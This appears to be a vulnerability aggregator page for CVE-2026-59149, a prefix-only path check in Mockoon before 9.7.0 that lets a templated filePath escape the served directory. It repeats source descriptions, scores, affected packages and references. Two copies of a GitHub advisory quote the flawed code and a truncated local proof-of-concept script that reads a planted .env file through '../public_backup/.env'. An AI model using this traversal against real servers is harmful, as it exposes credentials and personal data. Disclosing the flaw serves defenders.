CVE-2026-59149
Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
- Record
CVE-2026-59149- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
EUVDEUVD-2026-42684
6.5
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
- Record
EUVD-2026-42684- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8wqc-v2q8-vff2
6.5
@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await…
- Record
GHSA-8wqc-v2q8-vff2- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
NVD
6.5
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
- Record
CVE-2026-59149- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
OSV
6.5
Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
- Record
CVE-2026-59149- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
OSVGHSA-8wqc-v2q8-vff2
6.5
@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await…
- Record
GHSA-8wqc-v2q8-vff2- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@mockoon/commons-servernpm |
through 9.6.1 | 9.7.0 |
@mockoon/clinpm |
through 9.6.1 | 9.7.0 |
@mockoon/commons-servernpm |
before 9.7.0 | 9.7.0 |
@mockoon/clinpm |
before 9.7.0 | 9.7.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59149 is a medium vulnerability (CVSS 6.5) in Mockoon, published July 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in @mockoon/commons-server 9.7.0.
References
github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2
github.com/mockoon/mockoon/pull/2255
github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585
github.com/mockoon/mockoon/releases/tag/v9.7.0
mockoon.com/releases/9.7.0
nvd.nist.gov/vuln/detail/CVE-2026-59149
github.com/advisories/GHSA-8wqc-v2q8-vff2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59149.json
github.com/mockoon/mockoon
Left out here: the rest of 2 source descriptions. The JSON record has them.